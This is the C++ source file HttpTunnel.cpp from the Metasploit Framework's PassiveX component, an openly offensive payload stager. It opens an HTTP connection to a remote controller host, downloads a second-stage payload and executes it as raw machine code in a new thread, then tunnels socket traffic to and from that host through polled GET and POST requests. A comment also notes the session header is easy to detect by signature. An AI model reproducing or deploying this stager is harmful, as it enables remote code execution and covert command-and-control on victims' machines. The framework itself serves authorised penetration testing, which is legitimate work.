metasploit-framework/external/source/passivex/HttpTunnel.cpp

826 lines
16 KiB
C++
Raw Normal View History

/*
* This file is part of the Metasploit Exploit Framework
* and is subject to the same licenses and copyrights as
* the rest of this package.
*/
#include "PassiveXLib.h"
#include "HttpTunnel.h"
// The number of failed HTTP connections
static DWORD FailedConnections = 0;
HttpTunnel::HttpTunnel()
: HttpHost(NULL),
HttpUriBase(NULL),
HttpSid(NULL),
HttpPort(0),
LocalTcpListener(0),
LocalTcpClientSide(0),
LocalTcpServerSide(0),
InternetHandle(NULL),
SendThread(NULL),
ReceiveThread(NULL),
SecondStageThread(NULL),
SecondStage(NULL),
SecondStageSize(0)
{
// Initialize winsock, not that we should need to.
WSAStartup(
MAKEWORD(2, 2),
&WsaData);
srand(time(NULL));
}
HttpTunnel::~HttpTunnel()
{
Stop();
// Cleanup winsock
WSACleanup();
}
/*
* Initiates the HTTP tunnel and gets the ball rolling
*/
DWORD HttpTunnel::Start(
IN LPSTR InHttpHost,
IN LPSTR InHttpUriBase,
IN LPSTR InHttpSid,
IN USHORT InHttpPort)
{
DWORD ThreadId;
DWORD Result = ERROR_SUCCESS;
do
{
// Initialize the hostname and port
if (!(HttpHost = strdup(InHttpHost)))
{
Result = ERROR_NOT_ENOUGH_MEMORY;
break;
}
if ((InHttpSid) &&
(InHttpSid[0]) &&
(!(HttpSid = strdup(InHttpSid))))
{
Result = ERROR_NOT_ENOUGH_MEMORY;
break;
}
if ((InHttpUriBase) &&
(InHttpUriBase[0]) &&
(!(HttpUriBase = strdup(InHttpUriBase))))
{
Result = ERROR_NOT_ENOUGH_MEMORY;
break;
}
// Eliminate any trailing slashes as to prevent potential problems. If
// HttpUriBase is just "/", then it'll become virtuall unused.
if ((HttpUriBase) &&
(HttpUriBase[strlen(HttpUriBase) - 1] == '/'))
HttpUriBase[strlen(HttpUriBase) - 1] = 0;
HttpPort = InHttpPort;
// Acquire the internet context handle
if (!(InternetHandle = InternetOpen(
NULL,
INTERNET_OPEN_TYPE_PRECONFIG,
NULL,
NULL,
0)))
{
Result = GetLastError();
break;
}
// Create the local TCP abstraction
if ((Result = InitializeLocalConnection()) != ERROR_SUCCESS)
{
CPassiveX::Log(
TEXT("Start(): InitializeLocalConnection failed, %lu.\n"),
Result);
break;
}
// Download the second stage if there is one
DownloadSecondStage();
// Create the transmission thread
if (!(SendThread = CreateThread(
NULL,
0,
(LPTHREAD_START_ROUTINE)SendThreadFuncSt,
this,
0,
&ThreadId)))
{
Result = GetLastError();
break;
}
// Create the receive thread
if (!(ReceiveThread = CreateThread(
NULL,
0,
(LPTHREAD_START_ROUTINE)ReceiveThreadFuncSt,
this,
0,
&ThreadId)))
{
Result = GetLastError();
break;
}
// Woop
Result = ERROR_SUCCESS;
} while (0);
return Result;
}
/*
* Stops the HTTP tunnel and cleans up resources
*/
DWORD HttpTunnel::Stop()
{
DWORD Result = ERROR_SUCCESS;
DWORD Index = 0;
LPHANDLE Threads[] =
{
&SecondStageThread,
&ReceiveThread,
&SendThread,
NULL
};
// Terminate the threads that were spawned
for (Index = 0;
Threads[Index];
Index++)
{
LPHANDLE Thread = Threads[Index];
if (*Thread)
{
TerminateThread(
*Thread,
0);
CloseHandle(
*Thread);
*Thread = NULL;
}
}
// Close all of the open sockets we may have
if (LocalTcpListener)
closesocket(
LocalTcpListener);
if (LocalTcpClientSide)
closesocket(
LocalTcpClientSide);
if (LocalTcpServerSide)
closesocket(
LocalTcpServerSide);
LocalTcpListener = 0;
LocalTcpClientSide = 0;
LocalTcpServerSide = 0;
// Free up memory associated with the second stage
if (SecondStage)
{
free(
SecondStage);
SecondStage = NULL;
SecondStageSize = 0;
}
// Close the global internet handle acquired from InternetOpen
if (InternetHandle)
{
InternetCloseHandle(
InternetHandle);
InternetHandle = NULL;
}
return Result;
}
/*********************
* Protected Methods *
*********************/
/*
* Creates the local TCP abstraction that will be used as the socket for the
* second stage that is read in
*/
DWORD HttpTunnel::InitializeLocalConnection()
{
struct sockaddr_in Sin;
USHORT LocalPort = 0;
DWORD Attempts = 0;
DWORD Result = ERROR_SUCCESS;
do
{
// Create the TCP listener socket
if ((LocalTcpListener = socket(
AF_INET,
SOCK_STREAM,
IPPROTO_TCP)) == INVALID_SOCKET)
{
LocalTcpListener = 0;
Result = WSAGetLastError();
break;
}
// Create the TCP client socket
if ((LocalTcpClientSide = socket(
AF_INET,
SOCK_STREAM,
IPPROTO_TCP)) == INVALID_SOCKET)
{
LocalTcpClientSide = 0;
Result = WSAGetLastError();
break;
}
Sin.sin_family = AF_INET;
Sin.sin_addr.s_addr = inet_addr("127.0.0.1");
// Try 256 times to pick a random port
Sin.sin_port = htons(LocalPort = (rand() % 32000) + 1025);
while ((bind(
LocalTcpListener,
(struct sockaddr *)&Sin,
sizeof(Sin)) == SOCKET_ERROR) &&
(Attempts++ < 256))
{
Sin.sin_port = htons(LocalPort = (rand() % 32000) + 1025);
}
// If we failed to create the local listener, bomb out
if (Attempts >= 256)
{
Result = WSAGetLastError();
break;
}
// Listen and stuff
if (listen(
LocalTcpListener,
1) == SOCKET_ERROR)
{
Result = WSAGetLastError();
break;
}
// Establish a connection to the local listener
if (connect(
LocalTcpClientSide,
(struct sockaddr *)&Sin,
sizeof(Sin)) == SOCKET_ERROR)
{
Result = WSAGetLastError();
break;
}
// Accept the local TCP connection
if ((LocalTcpServerSide = accept(
LocalTcpListener,
NULL,
NULL)) == SOCKET_ERROR)
{
LocalTcpServerSide = 0;
Result = WSAGetLastError();
break;
}
// Woop!
Result = ERROR_SUCCESS;
} while (0);
return Result;
}
/*
* Downloads the second stage payload from the remote HTTP host and executes it
* in its own thread if there is one
*/
VOID HttpTunnel::DownloadSecondStage()
{
// Transmit the request to download the second stage. The stage buffer that
// is passed back is never deallocated.
if ((TransmitHttpRequest(
TEXT("GET"),
PASSIVEX_URI_SECOND_STAGE,
NULL,
0,
30000,
NULL,
(PVOID *)&SecondStage,
&SecondStageSize) == ERROR_SUCCESS) &&
(SecondStageSize))
{
DWORD ThreadId = 0;
CPassiveX::Log(
TEXT("DownloadSecondStage(): Downloaded %lu byte second stage, executing it...\n"),
SecondStageSize);
// Create the second stage thread
SecondStageThread = CreateThread(
NULL,
0,
(LPTHREAD_START_ROUTINE)SecondStageThreadFuncSt,
this,
0,
&ThreadId);
}
else
{
CPassiveX::Log(
TEXT("DownloadSecondStage(): Failed to download second stage, %lu."),
GetLastError());
ExitProcess(0);
}
}
/*
* Transmits the supplied data to the remote HTTP host
*/
DWORD HttpTunnel::TransmitToRemote(
IN PUCHAR Buffer,
IN ULONG BufferSize)
{
CPassiveX::Log(
TEXT("TransmitToRemote(): Transmitting %lu bytes of data to the remote side of the TCP abstraction.\n"),
BufferSize);
return TransmitHttpRequest(
"POST",
PASSIVEX_URI_TUNNEL_IN,
Buffer,
BufferSize);
}
/*
* Transmits the supplied data to the server side of the local TCP abstraction
*/
DWORD HttpTunnel::TransmitToLocal(
IN PUCHAR Buffer,
IN ULONG BufferSize)
{
DWORD Result = ERROR_SUCCESS;
INT BytesWritten = 0;
// Keep writing until everything has been written
while (BufferSize > 0)
{
CPassiveX::Log(
TEXT("TransmitToLocal(): Transmitting %lu bytes of data to the local side of the TCP abstraction.\n"),
BufferSize);
if ((BytesWritten = send(
LocalTcpServerSide,
(const char *)Buffer,
BufferSize,
0)) == SOCKET_ERROR)
{
Result = WSAGetLastError();
break;
}
Buffer += BytesWritten;
BufferSize -= BytesWritten;
}
return Result;
}
/*
* Transmits an HTTP request to the target host, optionally waiting for a
* response
*/
DWORD HttpTunnel::TransmitHttpRequest(
IN LPTSTR Method,
IN LPTSTR Uri,
IN PVOID RequestPayload,
IN ULONG RequestPayloadLength,
IN ULONG WaitResponseTimeout,
OUT LPDWORD ResponseCode,
OUT PVOID *ResponsePayload,
OUT LPDWORD ResponsePayloadLength)
{
HINTERNET RequestHandle = NULL;
HINTERNET ConnectHandle = NULL;
PUCHAR OutBuffer = NULL;
DWORD OutBufferLength = 0;
UCHAR ReadBuffer[8192];
DWORD ReadBufferLength;
DWORD Result = ERROR_SUCCESS;
PCHAR AdditionalHeaders = NULL;
CHAR FullUri[1024];
// Construct the full URI
if (HttpUriBase && HttpUriBase[0])
_snprintf(FullUri, sizeof(FullUri) - 1,
"%s%s",
HttpUriBase, Uri);
else
strncpy(FullUri, Uri, sizeof(FullUri) - 1);
FullUri[sizeof(FullUri) - 1] = 0;
do
{
PROFILE_CHECKPOINT("InternetConnect ==>");
// Open a connection handle
if (!(ConnectHandle = InternetConnect(
InternetHandle,
HttpHost,
HttpPort,
NULL,
NULL,
INTERNET_SERVICE_HTTP,
0,
NULL)))
{
Result = GetLastError();
break;
}
PROFILE_CHECKPOINT("InternetConnect <==");
// If we were supplied a wait response timeout, set it
if (WaitResponseTimeout)
InternetSetOption(
ConnectHandle,
INTERNET_OPTION_RECEIVE_TIMEOUT,
&WaitResponseTimeout,
sizeof(WaitResponseTimeout));
PROFILE_CHECKPOINT("HttpOpenRequest ==>");
// Open a request handle
if (!(RequestHandle = HttpOpenRequest(
ConnectHandle,
Method ? Method : TEXT("GET"),
FullUri,
NULL,
NULL,
NULL,
INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_NO_CACHE_WRITE |
INTERNET_FLAG_RELOAD,
NULL)))
{
Result = GetLastError();
break;
}
// If we were assigned an HTTP session identifier, then allocate an
// additional header for transmission to the remote side.
if (HttpSid)
{
// Yeah, I'm lame, this is easy to sig. Improve me if you care!
if ((AdditionalHeaders = (PCHAR)malloc(strlen(HttpSid) + 32)))
sprintf(AdditionalHeaders,
"X-Sid: sid=%s\r\n",
HttpSid);
}
PROFILE_CHECKPOINT("HttpOpenRequest <==");
PROFILE_CHECKPOINT("HttpSendRequest ==>");
// Send and endthe request
if ((!HttpSendRequest(
RequestHandle,
AdditionalHeaders,
(AdditionalHeaders) ? -1L : 0,
RequestPayload,
RequestPayloadLength)))
{
Result = GetLastError();
break;
}
PROFILE_CHECKPOINT("HttpSendRequest <==");
// If we wont be waiting for a response, break out now and return
if (!WaitResponseTimeout)
{
Result = ERROR_SUCCESS;
break;
}
// Keep looping until we've read the entire request or an error is
// encountered
while (1)
{
PUCHAR NewBuffer;
ReadBufferLength = sizeof(ReadBuffer);
PROFILE_CHECKPOINT("InternetReadFile ==>");
if (!InternetReadFile(
RequestHandle,
ReadBuffer,
ReadBufferLength,
&ReadBufferLength))
{
Result = GetLastError();
break;
}
else if (!ReadBufferLength)
{
Result = ERROR_SUCCESS;
break;
}
PROFILE_CHECKPOINT("InternetReadFile <==");
// Append the buffer to the output buffer
if (!OutBuffer)
NewBuffer = (PUCHAR)malloc(
ReadBufferLength);
else
NewBuffer = (PUCHAR)realloc(
OutBuffer,
OutBufferLength + ReadBufferLength);
if (!NewBuffer)
{
Result = ERROR_NOT_ENOUGH_MEMORY;
break;
}
memcpy(
NewBuffer + OutBufferLength,
ReadBuffer,
ReadBufferLength);
OutBuffer = NewBuffer;
OutBufferLength += ReadBufferLength;
}
// Query the status code of the response
if (ResponseCode)
{
DWORD ResponseCodeSize = sizeof(DWORD);
if (!HttpQueryInfo(
RequestHandle,
HTTP_QUERY_STATUS_CODE,
ResponseCode,
&ResponseCodeSize,
NULL))
{
CPassiveX::Log(
TEXT("HttpQueryInfo failed, %lu."),
GetLastError());
*ResponseCode = 0;
}
}
} while (0);
PROFILE_CHECKPOINT("Finished TransmitHttpRequest");
// Close handles
if (RequestHandle)
InternetCloseHandle(
RequestHandle);
if (ConnectHandle)
InternetCloseHandle(
ConnectHandle);
if (AdditionalHeaders)
free(AdditionalHeaders);
// Set the output pointers or free up the output buffer
if (Result == ERROR_SUCCESS)
{
if (ResponsePayload)
*ResponsePayload = OutBuffer;
if (ResponsePayloadLength)
*ResponsePayloadLength = OutBufferLength;
FailedConnections = 0;
}
else
{
// If we fail to connect...
if (Result == ERROR_INTERNET_CANNOT_CONNECT)
{
FailedConnections++;
if (FailedConnections > 10)
{
CPassiveX::Log("TransmitHttpRequest(): Failed to connect to HTTP server (%lu), exiting.",
FailedConnections);
ExitProcess(0);
}
}
if (OutBuffer)
free(
OutBuffer);
}
return Result;
}
/*
* Method wrapper
*/
ULONG HttpTunnel::SendThreadFuncSt(
IN HttpTunnel *Tunnel)
{
return Tunnel->SendThreadFunc();
}
/*
* Monitors the server side of the local TCP abstraction for data that can be
* transmitted to the remote half of the pipe
*/
ULONG HttpTunnel::SendThreadFunc()
{
fd_set FdSet;
UCHAR ReadBuffer[16384];
LONG BytesRead;
INT Result;
// This is the song that never ends...
while (1)
{
FD_ZERO(
&FdSet);
FD_SET(
LocalTcpServerSide,
&FdSet);
PROFILE_CHECKPOINT("select ==>");
// Wait for some data...
Result = select(
LocalTcpServerSide + 1,
&FdSet,
NULL,
NULL,
NULL);
PROFILE_CHECKPOINT("select <==");
// If select failed or there was no new data, act accordingly else risk
// the fist of the evil witch
if (Result < 0)
{
CPassiveX::Log(
TEXT("SendThreadFunc(): TUNNEL_IN: Select failed, %lu.\n"),
WSAGetLastError());
break;
}
else if (Result == 0)
continue;
PROFILE_CHECKPOINT("recv ==>");
// Read in data from the local server side of the TCP connection
BytesRead = recv(
LocalTcpServerSide,
(char *)ReadBuffer,
sizeof(ReadBuffer),
0);
PROFILE_CHECKPOINT("recv <==");
// On error or end of file...
if (BytesRead <= 0)
{
CPassiveX::Log(
TEXT("SendThreadFunc(): TUNNEL_IN: Read 0 or fewer bytes, erroring out (%lu).\n"),
BytesRead);
break;
}
CPassiveX::Log(
TEXT("SendThreadFunc(): TUNNEL_IN: Transmitting %lu bytes of data to remote side.\n"),
BytesRead);
PROFILE_CHECKPOINT("TransmitToRemote ==>");
// Transmit the data to the remote side
if ((Result = TransmitToRemote(
ReadBuffer,
BytesRead)) != ERROR_SUCCESS)
{
CPassiveX::Log(
TEXT("SendThreadFunc(): TUNNEL_IN: TransmitToRemote failed, %lu.\n"),
Result);
}
PROFILE_CHECKPOINT("TransmitToRemote <==");
}
// Exit the process if the send thread ends
ExitProcess(0);
return 0;
}
/*
* Method wrapper
*/
ULONG HttpTunnel::ReceiveThreadFuncSt(
IN HttpTunnel *Tunnel)
{
return Tunnel->ReceiveThreadFunc();
}
/*
* Polls for data that should be sent to the local server side of the TCP
* abstraction
*/
ULONG HttpTunnel::ReceiveThreadFunc()
{
PUCHAR ReadBuffer = NULL;
DWORD ReadBufferLength = 0;
DWORD ResponseCode = 0;
while (1)
{
ReadBufferLength = 0;
ReadBuffer = NULL;
ResponseCode = 0;
if ((TransmitHttpRequest(
TEXT("GET"),
PASSIVEX_URI_TUNNEL_OUT,
NULL,
0,
30000,
&ResponseCode,
(PVOID *)&ReadBuffer,
&ReadBufferLength) == ERROR_SUCCESS) &&
(ReadBuffer))
{
CPassiveX::Log(
TEXT("ReceiveThreadFunc(): TUNNEL_OUT: Received response code %lu, buffer length %lu.\n"),
ResponseCode,
ReadBufferLength);
TransmitToLocal(
ReadBuffer,
ReadBufferLength);
free(
ReadBuffer);
}
else
{
CPassiveX::Log(
TEXT("ReceiveThreadFunc(): TUNNEL_OUT: TransmitHttpRequest failed, %lu.\n"),
GetLastError());
}
}
return 0;
}
/*
* Calls the second stage after initializing the proper registers
*/
ULONG HttpTunnel::SecondStageThreadFuncSt(
IN HttpTunnel *Tunnel)
{
SOCKET Fd = Tunnel->LocalTcpClientSide;
// Initialize edi to the file descriptor that the second stage might use
__asm
{
lea eax, [Fd]
mov edi, [eax]
}
((VOID (*)())Tunnel->SecondStage)();
return 0;
}